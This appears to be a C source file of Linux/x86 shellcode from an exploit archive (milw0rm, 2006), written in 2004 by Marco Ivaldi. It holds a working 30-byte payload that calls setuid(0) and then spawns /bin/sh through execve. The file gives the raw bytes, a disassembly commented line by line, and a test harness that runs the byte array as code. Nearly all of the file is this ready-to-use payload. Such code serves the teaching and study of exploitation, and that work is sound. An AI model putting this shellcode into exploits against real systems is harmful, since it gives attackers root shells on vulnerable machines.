42 lines
No EOL
1.3 KiB
C
42 lines
No EOL
1.3 KiB
C
/*
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* $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $
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*
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* setuid-linux.c - setuid/execve shellcode for Linux/x86
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* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
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*
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* Short fully-functional setuid(0) and /bin/sh execve() shellcode.
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*/
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/*
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* setuid(0)
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*
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* 8049380: 6a 17 push $0x17
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* 8049382: 58 pop %eax
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* 8049383: 31 db xor %ebx,%ebx
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* 8049385: cd 80 int $0x80
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*
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* execve("/bin//sh", ["/bin//sh"], NULL)
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*
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* 8049387: 6a 0b push $0xb
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* 8049389: 58 pop %eax
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* 804938a: 99 cltd
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* 804938b: 52 push %edx
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* 804938c: 68 2f 2f 73 68 push $0x68732f2f
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* 8049391: 68 2f 62 69 6e push $0x6e69622f
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* 8049396: 89 e3 mov %esp,%ebx
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* 8049398: 52 push %edx
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* 8049399: 53 push %ebx
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* 804939a: 89 e1 mov %esp,%ecx
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* 804939c: cd 80 int $0x80
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*/
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char sc[] = /* 7 + 23 = 30 bytes */
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"\x6a\x17\x58\x31\xdb\xcd\x80"
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"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";
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main()
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{
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int (*f)() = (int (*)())sc; f();
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}
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// milw0rm.com [2006-07-20]
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